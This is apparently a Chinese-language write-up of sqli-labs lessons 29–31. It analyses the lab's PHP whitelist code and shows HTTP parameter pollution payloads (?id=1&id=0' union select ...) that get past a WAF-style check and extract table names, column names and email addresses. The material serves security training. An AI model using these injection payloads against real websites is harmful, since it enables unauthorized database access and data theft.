Lesson - 29
GET - Error Based - IMPIDENCE MISMATCH - Having a WAF in front of Web Application
首先欢迎界面:
构造 ?id=1,结果如图所示:
构造 ?id=1',页面被重定向,结果如图所示:
尝试双引号,括号。都被重定向,返回上述结果。
查看后台源代码。
后台whitelist函数:
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
当$input不是数字时,重定向到其他页面。
后台java_implimentation函数:
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
该函数,将query_string以'&'为分隔符,进行分割。
如果存在某个参数名称的前两个字符为"id",返回该参数值的substr(3,30)。
后台对query_string处理部分:
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
发现最后SQL语句中用到的$id,还是我们在URL中的输入的参数$id。
而白名单中进行的判断的是$id1。
PHP/Apache对相同名字的不同参数处理:
如:
GET /foo?id=1&id=2
$id=_GET['id']
结果$id=2
关于HTTP Parameter Pollution,AppsecEU09_CarettoniDiPaola_v0.8.pdf
构造如下query_string,绕过WAF
构造 ?id=1&id=0' union select 1,2,3--+
构造 ?id=1&id=0' union select 1,(select table_name from information_schema.tables where table_schema = database() limit 0,1),3 --+
获取当前数据库第一个表:
构造 ?id=1&id=0' union select 1,(select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' limit 0,1),(select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' limit 1,1) --+
获取emails表的第一字段和第二字段:
构造 ?id=0' union select 1,(select email_id from emails limit 1,1),0--+
获取emails地址。
Lesson 30
GET - Blind - IMPIDENCE - MISMACTH - Having a WAF in front of web application
构造 ?id=1&id=0" union select 1,2,3--+
Lesson 31
GET - Blind - IMPIDENCE - MISMACTH - Having a WAF in front of web application
构造 ?id=1&id=0") union select 1,2,3 --+